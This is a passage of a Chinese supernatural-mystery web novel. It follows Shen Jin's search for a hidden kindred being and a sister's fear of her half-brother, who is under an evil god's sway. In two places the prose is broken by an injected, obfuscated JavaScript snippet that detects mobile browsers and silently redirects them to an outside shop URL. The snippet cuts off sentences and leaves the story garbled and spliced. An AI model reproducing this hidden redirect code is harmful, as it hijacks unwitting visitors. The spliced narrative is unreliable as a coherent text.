身后传来薄野明沉闷的脚步声。沈烬转过身子,对他打了个手势。薄野明心领神地停下来,掏出相机对四周进行拍摄。闪光灯一下一下地亮起,把空间照得忽明忽暗。 沈烬蹲下来,从地上拾起一把泥土,装进袋子里。 还是湿的。 离开剧院的时候,薄野明问:“沈总,你到底在找谁?” 沈烬摇摇头。薄野明便不再追问。 跟了沈烬这么多年,他早就学会了一件事——沈烬不想说的,问也没用。 五 那个佚名去过奉言村。这是沈烬费了很长时间才从五通神那里得到的消息。 奉言村位于安平南部,是一个藏在山里的小村子。他们过去花了整整一天,由飞机转铁路,又转了汽车,最后一段路开不进车,只好转了三蹦子。被颠簸的路虐待了好久,终于是到了。 村子不大,几十户人家,散落在一片山坳里。这里出过一个鼎鼎大名的人物——刘箐橙。很火的明星,歌手。据说也演戏,但沈烬从没在家里的荧屏上看到过他,或许不是什么好戏。 沈烬套了很久的话,才知道他本名叫刘衾之,是被拐卖到奉言村的。 “什么拐卖,那是收养。”套话的老人连连摆手,否认了沈烬的总结,但又实在憋不住嘴,愤愤道,“而且也没多久,他爹就死了!那孩子也不说给他老子守个孝,没两天就跑了!” 沈烬敷衍着点点头,又问:“之前还有人来问过这些事吗?” 老人转转眼珠子,摆出一副为难的样子。 薄野明立刻了然地伸出手,往他手里塞了一沓钞票。 老人马上喜笑颜开,一股脑把话吐了出来。“有,怎么没有!就前两年的事,来了仨怪人,这那打听当年的事,临走呢还把村长家的井子给害死了!” 薄野明闻言,又抽出几张钞票在他眼前晃晃,示意他说得再详细一点。 老人嘿嘿接过钱,把当年的事有的没的全嘀咕了一遍,最后喜滋滋地走了。 沈烬扶住额角,把事情在心里捋了一遍,深深地叹了口气。 后来祂去了市里,以投资为名约见了刘箐橙。在一间私人会所的包间里,刘箐橙戴着墨镜,坐在他对面,始终没有摘下来。他穿着一身黑色的休闲装,头发染成了浅绿色,整个人看起来慵懒而疏离。 包间里很安静,只有空调运转的嗡嗡声。 “你知道佚名这个种族。你见过祂。”沈烬说,“你们认识,对吧?” 刘箐橙沉默了很久。久到沈烬以为他不会开口了。 然后他说: “离yuting。我们只是同事。” 只有不到十个字。他没有问沈烬是谁,没有问祂为什么要找离yuting,也没有再多说一个字。声音淡得出奇,像是在说一件与自己无关的事。 沈烬等了一会儿。 “祂也在西封杂志社待过?” 刘箐橙点点头。 “后来走了。” “去了哪儿?” 刘箐橙摇摇头。 他站起来,把墨镜往上抬了抬,露出和浅色头发截然相反的,深色的眼睛。 “我跟祂不熟,也没有帮助你的义务。” 他走了。门在他身后缓缓闭合。 沈烬坐在原位,很久没动。 那个同类,比祂想象的更难接近。 六 后来祂又去了洸磨村。 洸磨村近年来出了两个很有出息的人:一个是福田百货的老板朱耀星,一个是心理医生莫承威。但朱耀星前几年自焚死了,莫承威倒是还活跃着。 沈烬去洸磨村的时候,找到了朱耀星的“旧居”——一座破庙。 庙建在村外的山坡上,已经很破了,屋顶塌了一半,露出里面的房梁。墙上爬满了藤蔓,把原本的砖石遮得严严实实。 村人给祂指的地方其实不在这里,而是一栋宅子,说那就是朱家。沈烬谢过他们,转头又来到破庙前。 祂知道,这里才是那个“朱耀星”的“家”。在族人们的记忆里。 祂在那里找了很久,只找到几块碎石,散落在墙角,很不起眼。沈烬拿起来仔细地看,其中一块有个针眼,几乎贯穿了整个石头,但也只是几乎,石头就几近破裂了。针眼周围有干涸的血迹,颜色已经发黑。 沈烬看了看它,掏出一本簿子开始写写画画,又闭上眼。良久后才睁开,眼神闪过几丝复杂的情绪。 祂想,或许可以去问问那个心理医生。 莫承威。省内很有名的一位心理医生。 沈烬去医院挂了号,动了关系,很快就见到了他。 诊室不大,布置得很温馨。沙发是暖色调的,墙上挂着几幅风景画,窗台上摆着几盆绿植。阳光透过百叶窗照进来,在地上投下一道道条纹。 莫承威坐在办公桌后面,看起来很年轻,二三十岁的样子,穿着白大褂,他笑着,周身的气质温和而蔼然。 像只无害的兔子。 “离yuting吗……?”他听了沈烬的问题,摩挲着下巴,眼睛眯起,打量着祂。 良久,他开口。 “祂是我老师。” 沈烬等着他继续。 莫承威却不再说话了。 他站起来,走到窗边。阳光照在他身上,他的影子落在地板上,比正常人淡一些。像是被稀释过的墨水,若有若无。 沈烬眼神顿了顿,又抬起头。 “然后呢?”沈烬问。 “什么然后?”莫承威反问,笑得让人如沐春风,“这位患者这么关心医生的人际关系可不好哦?” “装傻很好玩?童靈神的走狗?” 莫承威的笑骤然淡了。 诊室里的温度似乎降了几度。窗外的阳光还是那么亮,但照在身上已经没有了暖意。 莫承威的眼神落在祂身上,粘腻,让人窒息,像蛇一样。 “沈先生。”他说,语调平平,声音也变得阴冷,“我是看在老师的面子上才没对您动手的哦。” “至于老师。我只能说,这是我们都喜欢的Happy Ending。” 沈烬等了很久,莫承威没有再开口。 他就像一个谜语,只给谜面,不给谜底。 该死的招阴童子,玩什么海龟汤。 沈烬站起身,走了。 恶劣的家伙。 七 后来祂又去了很多地方,慕坪中学,青浦大学,还有福田百货的旧址。但都没找到什么。 二〇〇四年冬天,沈烬开始调查西封杂志社。 西封杂志社在慕坪市西郊,一栋很气派的大楼,玻璃幕墙在阳光下闪闪发光。沈烬进去的时候已经临近下班,只有零星几个人还在电脑桌前。 主编不在。一个员工说,他最近很忙,很少来杂志社,有事都是电话联系。 沈烬留了联系方式,等了三天,主编终于出现了。 “我是疏南风。”男人伸出手。沈烬回握的同时也打量着他。 出乎意料的年轻,看上去只有二十来岁。画着符文的绷带缠住他的左眼,露出来的那只是血红色的,红的让人心惊。 “你找离yuting?”疏南风问。 沈烬点点头。 疏南风的笑容渐渐扩大,也更加的让人背后发凉。 “我也在找祂。”他说,“找了很久了。” 沈烬皱起眉。 “祂之前不是你这里的员工吗?你找祂做什么?” 疏南风没回答,反而问:“你是祂什么人?” “无可奉告。”沈烬说。 疏南风的眼睛动了动。那只红色的眼睛在光线下显得格外诡异,像是会发光。 “佚名。”他感叹道,“你们是同类啊。” 他站起来,走到窗边。窗外是慕坪市的天际线,高楼林立,车流如织。 “祂是个有意思的家伙。”他说,口吻戏谑,“我本来打算让祂一直留在这里的,可祂不愿意,还打伤了我。唉,走了这么久,也不知道回来看看我。” 他回过头,看着沈烬,眼神里闪过一丝兴味。 “真是绝情呢。” 沈烬没说话。 疏南风抬起眼,缓步向沈烬走去。 “你查不到祂的。”他边走边说,“连我都找不到祂。” 沈烬保持着沉默,没有动。 疏南风只走到一半,又像看见了什么似的停下脚步。他的眼神在空气和沈烬之间缓慢移动,像是在确认什么。 半晌,他轻笑一声。 “我说你怎么单枪匹马就敢来找我,原来是有靠山啊。”他说。 “好久不见啊,五志。” 空气中浮现出五通神的身影。祂还是那副样子,月白长衫,眉眼温和,嘴角带着笑。像是从来没有离开过。 沈烬走到祂身后,强压着后背的冷意,挑眉露出一个笑,“你们认识?” “不算。”五通神回答,“我跟他背后的那个邪神有点交情。” 神明回过头看向疏南风,“你早就发现我了,还要试探什么?” 疏南风笑了笑,没有回答。那笑容很复杂,有忌惮,有挑衅,还有一些沈烬看不懂的东西。 五通神耸了耸肩,示意沈烬去问。 “祂去过窥灵报社吗?”沈烬向前一步站定在疏南风面前。 疏南风打量了一下祂,反问,“你觉得呢?” 去过。祂在心里笃定道。 八 那些调查之后,沈烬对那个同类的了解依然很少。 祂知道那个佚名在西封杂志社工作过,知道祂当时叫离yuting,但后来又换了几个身份,知道祂去过一些地方,见过一些人。 但祂不知道离yuting在想什么。 佚名之间明明是共享记忆,沈烬却无法探知祂的一分一毫。如果说之前是因为疏南风的阻拦,那现在……是祂的实力已经强悍如斯,还是有更加强大的势力下场了? 沈烬轻点桌面,这是他思考时的习惯。 总不能是老祖干的吧?想罢,祂抽了抽嘴角。祂想什么呢,族群记忆里根本没有这一号人物,怎么会想到这里来呢? 祂甩甩头,继续埋头梳理线索,错过了五通神欲言又止的表情。 刘箐橙只说了一个名字。 莫承威只说了一句话。 疏南风说,祂是个绝情的家伙。 啊,最后这个划掉,没有任何参考意义。 沈烬想起族人的记忆中,偶尔会闪过那个名字。没有画面,没有声音,只有一个名字。 离yuting……暂时用这个名字指代。 那是“第一名”。被隐藏的。被保护的。也是最难接近的。 二〇〇二年,祂停下了。 五通神说祂的“故事结束了”。 沈烬不知道那是什么意思。不知道祂是找到了想要的,还是放弃了寻找,还是发生了别的什么。 但祂知道,从二〇〇三年开始,祂要找的,是一个从不留下痕迹、也从不让任何人靠近的人。 直到窥灵报社的消息出现。 在收到消息后,沈烬第一时间查找了窥灵以前的报纸,其中的几篇,风格冷漠而客观,只是书写着事实,语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祂的手垂落在裤缝旁,轻轻敲了敲。 廖惜禄。 那家伙的下一个身份。 十 回到慕安市,已经是第二天凌晨。 沈烬把车停在公寓楼下,熄了火。路灯的光透过车窗照进来,在他脸上投下斑驳的阴影。薄野明解开安全带,准备下车。 “薄野明。” 薄野明停下来。 沈烬看着方向盘,没看他。 “那个杂志,二〇〇一年开始出现的那本,”祂说,“你觉得是谁做的?” 薄野明想了想。 “据说是连珺之。”他说,“但连珺之一九五〇年就死了。” “所以呢?” “所以要么是有人冒名,要么……”薄野明顿了顿,“要么他没死。” 沈烬没说话。 薄野明等了一会儿。 “沈总,你相信人死能复生吗?” 沈烬转过头,看着他。 那眼神让薄野明后背一凉——阴森森的,像是在看一个陌生人。那一瞬间,他觉得自己不认识眼前这个人。 但只是一瞬间。然后沈烬收回目光。 “不知道。”祂说。 薄野明推开车门,下车。 走了两步,他忽然想起什么,回过头。 “沈总。” 沈烬看着他。 “今天在乌景镇,二楼那扇窗,”薄野明说,“窗帘后面,我觉得有人。” 沈烬没说话。 薄野明点点头,转身走了。 沈烬坐在车里,看着他的背影消失在楼道口。 祂也感觉到了。 但没有恶意 十一 三天后,沈烬收到第二封信。 还是乌景镇的邮戳,还是那个手写的“窺靈”。信封里没有照片,只有一张纸条,上面写了一行字,用的是清瘦有力的楷体: 我们见过的。等下次再见,一起喝杯茶。 没有解释,没有问候,没有落款。 只有这一行字。 沈烬看着那张纸,看了很久。 祂把信收进抽屉里,和之前所有的线索放在一起。抽屉里已经攒了厚厚一沓资料,但祂知道,这些都只是铺垫。 窗外阳光很好,雪已经化了。 沈烬站起来,走到窗前。 那个同类,从不让人靠近,从不留下痕迹。 但现在,祂寄来了这封信。 不是说“我在等你”,只是说“下次见面,一起喝杯茶”。 像是早已知道沈烬会来,早已知道会有这一天。 是了,祂把自己屏蔽了,可自己从来没有屏蔽过祂。 沈烬靠在座椅上,放松了身体。祂不知道下次是什么时候。也许是明天,也许是明年,也许是下辈子。 没关系,佚名最不缺的就是时间。 祂可以等。 十二 二〇〇五年开春,薄野明路过那家盗版书店,又看见了新的《窥灵》杂志。封面印着“春季刊”三个字,出版日期是二〇〇五年三月。 他买下来,带回公司。 沈烬翻开杂志,一页一页地看。文章还是那样,记录着种种稀奇古怪的东西。作者署名一直在变,祂一个都不认识。 翻到最后一页,有一行小字: 本社正常运营,欢迎投稿。 没有地址,没有联系方式。只有这一行字。 沈烬合上杂志。 薄野明站在旁边,等着。 “沈总,还查吗?” 沈烬想了想。 “不查了。” 薄野明愣了一下。 “为什么?” 沈烬没回答。 祂站起来,走到窗前。 窗外那棵槐树正在发芽,嫩绿的叶子一点点冒出来,在阳光下显得生机勃勃。 因为祂已经出现了。祂写了信,说了那句话,然后继续过祂的日子。 沈烬不需要再查了。 只需要等。 十三 二〇〇七年的秋天,薄野明辞职了。 走之前,他来办公室和沈烬告别。 窗外槐树的叶子已经开始黄了,一片一片飘下来,在地上铺了薄薄一层。 “沈总,这几年多谢照顾。” 沈烬看着他。这个和祂一起长大,又在公司跟了祂五年的下属,从不多问,从不深究,只是在需要的时候出现,在不需要的时候消失。沈烬知道他也不是什么普通人——那个跟了他十五年的东西,沈烬早就察觉到了。但祂从不过问,就像薄野明从不过问祂一样。 “以后有什么打算?” 薄野明笑了笑。 “不知道。”他说,“走一步看一步。” 沈烬点点头。 薄野明走到门口,又停下来。 “阿烬。”他难得叫祂一声小名。 沈烬看着他。 “你能不能告诉我,”薄野明说,“你到底是谁?” 沈烬沉默着,没说话。 薄野明了然地转身,推开门,走了。 沈烬一个人坐在办公室里,很久没动。 窗外槐树的叶子还在落,一片一片,无声无息。 祂想起那些调查过的地方。芳华大剧院,奉言村,洸磨村,西封杂志社……窥灵报社。每一个地方都有“离yuting”的痕迹。但那些痕迹什么都没说。 现在“离yuting”说了。 下次见面,一起喝杯茶。 沈烬不知道这算不算答案。 但祂知道,祂会等。 祂最不缺的就是时间。 十四 二〇〇八年的春分,沈烬收到一张明信片。 没有邮戳,没有寄件人,直接塞在信箱里。信封上还是那个熟悉的“窺靈”,但这次是用铅笔写的,字迹有些潦草。 明信片上印着一棵槐树,叶子落光了,光秃秃的枝桠伸向天空。树是老槐树,树干很粗,要两个人才能合抱。树下有一张石凳,上面刻着简单的云纹。 背面写着一行字: 槐树还在。 只有这四个字。 沈烬把明信片收进抽屉里,和那些信放在一起。抽屉已经快满了,但祂知道,还会有新的东西进来。 祂站起来,走到窗前。 窗外月亮很圆,很亮。月光洒在槐树上,把光秃秃的枝桠镀上一层银白。 沈烬想起莫承威说过的话:“这是我们都喜欢的Happy Ending。” 想起刘箐橙看向祂时复杂的眼神。 想起疏南风血红的瞳孔和森然的笑。 想起那封只有一行字的信:我们见过的。等下次再见,一起喝杯茶。 现在,祂寄来了明信片。 槐树还在。 沈烬站在窗前,看着月亮。 祂想,也许祂不需要再等了。 时间,最不缺等待的人。 11. 阴火其一 一 席悯春第一次清楚地认识到席鸿秋不对劲,是在一九九八年冬天。那年她二十岁,在京城的音乐学院读大二。席鸿秋十岁,在贵族小学读四年级。 他们相差十岁。同父异母的姐弟——席鸿秋是席家的私生子。 他母亲姓李,只是个很普通的女人,在席家做过一段时间的保姆。她替早逝的夫人带大了席悯春。 她一直叫她阿姨。 席家的家主席定州是个很有手段的商人,在慕坪市经营着好几家公司,这人本事大,脾气更大。家里经常要换家具,本来都是李阿姨负责。 直到席鸿秋的到来。 李阿姨生下他就走了,去哪儿了没人知道,也没人敢问。 但席悯春心里总有一种悲伤,没来由的,觉得阿姨已经走了,去到另一个世界的走了。 她不敢想发生了什么。 席鸿秋不爱说话。他像总沉浸在自己的世界里,脱离与世界之外。 他看人的时候,眼睛很亮,但直勾勾的,让人不寒而栗。 几乎每个来家里的客人都会被他吓到,这时候席父就会温言送走客人,锁上门,关上窗,用棒子招待他。 席鸿秋不躲,也不哭不闹,依然定定地看着前面,在父亲看不到的地方露出一抹笑。 席悯春小时候觉得这个弟弟有点可怕。长大以后习惯了,但还是觉得可怕。 那年冬天特别冷。席悯春放寒假回家,在院子里看见席鸿秋,他仰着头看那株银杏树。光秃秃的枝桠伸向天空,像一把倒插的扫帚。 “看什么?”她问。 席鸿秋没回头。“树。” “树有什么好看的?” “没有。”他说,“就是觉得它活太久了。” 席悯春愣了一下。“什么意思?” 席鸿秋收回目光,看着她。那眼神让她一阵恍惚,让她想起市中心那个公园里的池子,再怎么清澈亮丽,也还是一潭死水。 “没什么。”他说,走了。 那天夜里,席悯春翻来覆去地睡不着。她躺在床上,听见隔壁房间有动静。有人在说话。很轻,很碎,像是在自言自语。 她起来,贴着墙壁听。听不清说什么,但能听出那个声音不是席鸿秋的。是另一个人的,更沉,更哑,像是从喉咙深处挤出来的。 她犹豫了一下,敲了敲墙壁。隔壁立刻安静了。 第二天吃早饭的时候,席鸿秋坐在对面,端着粥碗,喝得很慢。席悯春看着他,想问什么,但不知道怎么开口。 “昨晚……”她开了个头。 席鸿秋抬起眼睛。 “什么?” “昨晚你有没有听见什么声音?” 席鸿秋看着她,看了很久。然后他笑了。那笑容很淡,像冬天早晨的太阳,看着亮,但体感很冷。 “没有。”他说,“可能你听错了。” 席悯春没再问。但她知道,自己没听错。但她没继续问。 此事不宜闹大。 二 席鸿秋是什么时候开始变的,席悯春说不清楚。 她记得他小时候不是这样的。五六岁的时候,他会笑,会闹,会追着她叫姐姐。虽然笑得不多,但那是真的笑。眼睛弯弯的,亮亮的,和现在不一样。 在他知道自己的身世之后,他就变了。 席定州从来不提那个女人。他把家里所有和那个女人有关的东西,碰过的,看过的,看起来会是她喜欢的……全都换了个遍。席悯春偶尔问起,父亲就沉下脸,说:“你记错了。” 有时席悯春甚至怀疑自己——是不是自己记错了,是不是真的从来没有这个人。 但不是,席鸿秋存在着,他证明了自己的母亲不是他人的臆想。 但他也从来不提她。 他会在某些时候,忽然安静下来,看着某个方向发呆。不是看东西,是想事情。在想什么,没人知道。 席悯春总觉得,席鸿秋有个很要好的朋友。那个朋友,住在他心里。 她第一次有这种感觉,是他七岁那年的冬天。 那天席定州带他们去参加一个酒会。席悯春不喜欢那种场合,但父亲让去,她不敢不去。席鸿秋跟在后面,穿着小西装,打着领结,看起来像个精致的人偶。 酒会上有个老板,喝多了,搂着席定州的肩膀说:“老席,你这儿子长得真像你啊。” 席定州笑笑,没说话。 那老板又看看席鸿秋,说:“这么俊俏,令堂想必也十分漂亮吧?” 席鸿秋抬眼。 席悯春回头。 席定州的笑淡了。 老板抖了抖,终于想起察言观色般后退两步,一个劲地道歉。 席定州拍拍他的肩,一副无所谓的样子,揽着他走到远处。 袖子似乎被谁拽住了。 席悯春的眼神收回来,揉了揉弟弟的头,没说什么。 席定州的目光投来,又满意的移开。 回去的路上,席鸿秋坐在后座,一句话都没说。席悯春坐在他旁边,能感觉到他身上有一股冷意,像冬天开窗时灌进来的风。 “鸿秋。”她叫他。 他没应。 “席鸿秋。” 他转过头,看着她。那双眼睛在路灯的照射下忽明忽暗,像两颗玻璃珠子。 “怎么了?” “你没事吧?” 他沉默了一会儿。“没事。”他说,“我就是想,我妈现在在哪儿。” 席悯春不知道怎么回答。 “她会不会想我?”他问。 席悯春张了张嘴,说不出话。 席鸿秋又转过头,看着窗外。“算了,”他说,“不重要。” 那天晚上,席悯春又听见了那个声音。不是自言自语,是对话。席鸿秋在和什么东西说话。对方的声音混着悉悉索索的杂音,她听不清,但席鸿秋的回应历历可辨。 “……我知道。” “……不用你教我。” “……别烦我。” 最后一句没压住声音:“我说了闭嘴!” 然后一片安静。 席悯春把被子蒙住头,心跳得很快。她告诉自己,那只是席鸿秋在打电话。 即使席定州从来没给他们配备过电话。 三 又过了几年,席悯春想,彻底不对劲了起来。 席定州在生意上栽了跟头。一个合作多年的伙伴卷款跑了,留下一堆烂账。席定州一夜之间老了十岁,头发白了一半,脾气也坏了一半。他开始酗酒,喝多了就骂人,骂那个跑路的伙伴,骂不争气的下属,骂席悯春,骂席鸿秋。 “你们有什么用?”他拍着桌子说,“一个个的都是废物!席家养你们有什么用?” 席悯春低着头,不说话。席鸿秋站在她旁边,也不说话。 少年的个子极速的增长,已经超过了姐姐,直逼父亲。他的手藏在身后,虚虚的握着,像拿着什么东西,席悯春侧眼看去,什么都没有。 席定州骂累了,倒在沙发上睡着了。席悯春去拿毯子,回来的时候,看见席鸿秋站在父亲面前,低头看着他。 “鸿秋?”她叫他。 他回过头,脸上没什么表情。但在那一瞬间,席悯春看见了一样东西——他的影子在动,在膨胀。像有什么东西在里面翻涌,要挣脱出来。 “你……”席悯春后退了一步。 席鸿秋看着她,沉默了几秒。然后他笑了。那笑容和以前不一样——里面掺杂了一种可怕的东西。 恶。 不加掩饰的恶。 “姐姐,”他说,特意拖了长音,像蜜糖一样,说出的话却裹着刀子,“你觉得他配当父亲吗?” 席悯春不知道怎么回答。 “他配吗?”席鸿秋又问。 “鸿秋,他是你爸爸。” 她语气温和,几乎和平时没有不同。手却在背后猛地攥紧又松开。 席鸿秋的笑容收了起来。他转过身,走回自己房间。关门的时候,没有声音。但那扇门关上的瞬间,席悯春觉得整栋房子都震了一下。 那年夏天,席定州的公司倒闭了。不是因为那个跑路的伙伴,而是因为一连串莫名其妙的意外。合同签错,货期延误,客户反悔,供应商断供。每一件事都像是巧合,但连在一起,就像有人在背后操纵。 席定州查了很久,查不出是谁。他只能认栽,把公司关了,把家产卖了,搬到一个更小的房子。 搬家那天,席悯春收拾东西,在席鸿秋的床底下发现了一个盒子。铁皮的,很旧,上面画着一些奇怪的符号。她打开看了一眼,里面是一叠纸片,每张纸片上都写着一个人的名字,名字下面画着红色的叉。 季庭,漆一南,成从阳,路子容…… 席定州的名字被压在最下面。叉最多。 她的手抖了一下。盒子掉在地上,纸片散了一地。 “姐姐。” 她抬起头。席鸿秋站在门口,靠着门框,手里拿着一杯水。他的表情很平静,像什么都没发生。 “你……”席悯春想说点什么,但喉咙像被什么东西堵住了。 席鸿秋走进来,蹲下身,把纸片一张一张捡起来,放回盒子里。他的动作很慢,很仔细,像是在做一件很郑重的事。 “鸿秋,你做了什么?” 他没回答。 “席鸿秋,你到底做了什么?” 他把最后一张纸片放好,盖上盖子,站起来。他看着席悯春,那双眼睛在昏暗的房间里亮得吓人。 “姐姐,”他说,“你信不信神仙?” 席悯春愣住了。 他转身离开。 那天晚上,席悯春没有睡。她躺在床上,听着隔壁的声音。这一次,她没有去敲墙壁。她只是听着,听见席鸿秋在和什么东西说话,听见他笑了,听见他说“不用着急,慢慢来”。 她想起小时候的席鸿秋。那个会追着她叫姐姐的男孩,那个笑起来眼睛弯弯的男孩。那个男孩已经不见了。 她不知道他去了哪里。 她闭上眼,止不住地回想起那些纸片。那里面,有她的名字,下面一个红叉也没有。 四 二〇〇四年秋天,席鸿秋出了事。 学校打来电话的时候,席悯春正准备去上音乐课。电话打个不停,席悯春只好拉住路过的教语文的逄老师,让他帮忙代课。 电话里说席鸿秋在课堂上和老师起了冲突,把老师推倒了。 席悯春请了假,连夜赶回家。到家的时候,席鸿秋坐在客厅里,背靠着沙发,脸上没什么表情。 家里没有别人。席定州早就死了。 “鸿秋!” 他转过头,看见她,嘴角动了动,像要说什么,但没说。 “怎么回事?”席悯春在他旁边坐下,“老师说你推她了。” 席鸿秋低着头,看着自己的手。 “她骂我。”他说,“她说我没教养,说我是没妈的孩子。说我是个灾星,克爹克娘,还要克——” 席悯春的心揪了一下。 “然后我就……”席鸿秋抬起头,看着她,“姐姐,你信不信,推她的时候,不是我想推的。” 席悯春没说话。 “是祂让我推的。”他说,“祂说那个人在骂我,让我还手。我本来不想的,但祂一直在说,一直在说,我就……” 他低下头,肩膀微微发抖。 “姐姐,你说我是不是疯了?” 席悯春伸出手,把他拉过来,抱住他。他僵了一下,然后慢慢放松了,把头靠在她肩上。十六七岁的大男孩,蜷在她边上,像一只伯恩山犬。 席悯春的笑渐渐消失。 在她的背后,席鸿秋的笑渐渐扩大。 “你没疯。”她说。 席鸿秋没说话。 “你没疯,”她又说了一遍,“你只是……太累了。” 席鸿秋在她怀里闷闷地说:“姐姐,你信不信我?” “信。” “真的?” “真的。” 席鸿秋没再说话。席悯春抱着他,感觉到他的心跳。很快,像一只受惊的小动物。 “姐姐,”过了一会儿,他说,“祂说要帮我。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420263|200808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “帮你什么?” “帮我让那些欺负我的人付出代价。” 席悯春的手收紧了一些。“鸿秋,你不需要祂帮忙。” “为什么?” “因为……”席悯春想了想,“因为你是席家的人。你姓席,你是我弟弟。谁敢欺负你,我帮你。” 席鸿秋抬起头,看着她。那双眼睛在灯光下亮得吓人,但这一次,不是冷的,也不是热的。是一种她说不清的东西。像是在确认什么。 “真的?”他问。 “真的。” 他看了她很久。然后笑了。这一次,是真的笑。眼睛弯弯的,亮亮的,和小时候一样。 “谢谢。”他说。 五 但席悯春知道,事情没那么简单。 那天晚上,她等席鸿秋睡了,悄悄去了他的房间。盒子还在床底下,她把它拖出来,打开。纸片一张一张翻过去,席定州的,她的,还有那些她不认识的人的。名字下面红色的叉变多了。 她的目光停留在自己的名字上,下移,看到了一个鲜红的叉,颜料还没干,是新画上去的。 她翻到最后一张。上面没有名字,只有一行字,写得歪歪扭扭,像是小孩子写的: “祂说,只要我想要,什么都可以给我。” 席悯春的手抖了一下。她把盒子放回去,轻轻关上门,回到自己房间。她坐在床边,想了很久。 然后她做了一个决定。 第二天,她去找了一个人。 那个人叫薄野明,是玄晖集团的行政总监。席悯春和他不太熟,只见过几次面。但她知道,这个人认识一些奇奇怪怪的人,知道一些奇奇怪怪的事。是席定州生意上的朋友介绍的——父亲死后,只有他还在跟他们保持联系——说这个人路子很野,什么事都能摆平。 她约他在一家咖啡厅见面。薄野明来的时候,穿着一件深灰色的大衣,头发梳得很整齐。他环视了一圈,视线精准锁定在她身上。 “席小姐,有什么事?” 席悯春犹豫了一下,把席鸿秋的事套在别人身上说了。没说太细,只说这人最近不太对劲,好像被什么东西缠上了。 薄野明听完,沉默了一会儿。 “你信神仙吗?”他问。 “我不知道。”席悯春答,“但我想知道。” 薄野明看着她,那双眼睛在灯光下显得很深。 “席小姐,”他说,“有些事,知道得太多不是好事。” “我不怕。” 薄野明笑了笑。那笑容很短,短到让人怀疑自己的眼睛。 “这不是怕不怕的问题。”他说,“你知道了之后,可就回不去了。” 席悯春沉默了一会儿。 “那你就当我是来找你帮忙的。”她说,“多少钱都行。” 薄野明看着她,看了很久。然后他从口袋里掏出一张名片,放在桌上。 “你回去查查这个。”他说,“查到了,也许就知道该怎么办了。” 席悯春低头看那张名片。上面只印着两个字: 庳墟。 六 庳墟,席悯春知道哪里,现在在阳宁的厝明市,据说曾是古代某位侯爷的封地。 但她没有去。 不是因为害怕,是因为席鸿秋在她出发的前一天晚上,来找她了。 那天夜里很晚了,她正在收拾行李。有人敲门,她打开,席鸿秋站在门口,衣着整齐,像刚从外面回来。 “姐姐,”他说,“你要去哪儿?” 席悯春愣了一下。“没有,我没要去哪儿。” 席鸿秋看着她,那眼神不像在看姐姐,像在看一个陌生人。 “我知道,我听见了。”他说,“你要去厝明。” 席悯春没说话。 “不要去。”席鸿秋说,“那里什么都没有。” “你怎么知道?” 席鸿秋没回答。他走进来,坐在她床上,低着头,看着自己的手。他的手保养的很好,手指细长,指甲剪得很短。 “姐姐,你知道祂是谁吗?”他忽然问。 席悯春摇摇头。 “祂是庳墟侯。”席鸿秋说,“一个邪神。专门挑唆兄弟姐妹之间反目成仇的。” 席悯春的心沉了一下。 “祂是来找我的。”席鸿秋说,“祂说祂等了我很久。说我们是一类人。都是被忽视的,被抛弃的,没人要的。” 他抬起头,看着席悯春。那双眼里似乎闪着光,是一种她从来没见过的颜色。 “姐姐,你觉得祂说得对吗?” 席悯春张了张嘴,不知道怎么回答。 “我是被抛弃的。”席鸿秋说,“我妈不要我,爸也不要我。就连你……你也不是真心爱我。” 席悯春想说不,但说不出来。 因为她的爱确实是假的。 她不是没有试过。她试了很多年。告诉自己他是无辜的,告诉自己阿姨养大了她她应该感恩,告诉自己一个“好姐姐”应该爱自己的弟弟。 但都没用。 所以她选择演。演一个爱他的姐姐。演给所有人看——演给老师看,演给邻居看,演给席定州生前那些朋友看。她要让所有人都觉得,席家的女儿席悯春,是一个善良的、大度的、不计前嫌的好人。 演了十几年。有时候她觉得自己都快信了。 但席鸿秋刚才那句话,像一根针,把那层薄薄的壳戳破了。 她在恨着他。 她还是无法爱一个第三者生出来的孩子。 即使她的母亲早就死了。 即使他的母亲养大了她。 即使那根本不是他的错,甚至不是她的错—— 她也无法释怀。 她在恨着他。 席鸿秋笑了。那笑容很淡,像冬天早晨的太阳。 “没事,”他说,“恨是对的。我也恨我自己。” 他站起来,走到门口。 “姐姐,不要去厝明。”他说,“那里什么都没有。只有祂。” 他走了。 席悯春站在原地,很久没动。 12. 阴火其二 七 她最后还是没有去厝明。 席悯春把那张名片收起来,放在抽屉最里面。然后继续过她的日子。上班,下班,吃饭,睡觉。假装什么都没发生,也希望什么都不会再发生。 但事情还是发生了。 席鸿秋越来越沉默。他不再和席悯春说学校里的事,不再和她说同学的事,不再和她说任何事。他把自己关在房间里,一关就是一整天。 席悯春有时候站在他门口,想敲门,但每次举起手,又放下了。 她不知道说什么。 不知道是应该安慰他,还是应该问他那个“祂”的事,还是应该像什么都没发生一样叫他出来吃饭。 她什么都没做。 因为她在怕。不是怕席鸿秋,是怕自己。怕自己一开口,那些藏了十几年的恨就会漏出来。怕自己看着他的时候,眼底会露出不该有的东西。 她知道他看出来了。那天晚上他说“你也不是真心爱我”的时候,语气太平静了,平静得像是在说一件早就知道的事。 他知道。他一直都知道。 就像那天她安慰他时,同样也知道他在背后的那个笑。 八 第二年春天,席悯春再次接到席鸿秋老师的电话。 这次不是推老师,是和同学打架。打得挺狠,把对方鼻梁打断了。 席悯春去了一趟学校,说了很多好话,赔了不少钱,才把事情压下去。 只有一点,必须要把席鸿秋开除。 席悯春答应了。 那天晚上,她等他回家,坐在客厅里等他。 席鸿秋进门的时候,脸上还有伤。嘴角破了,眼角青了一块。他看见她,愣了一下,然后笑了。 “姐姐,你怎么还没睡?” “等你。” 席鸿秋在对面坐下,低着头,不说话。 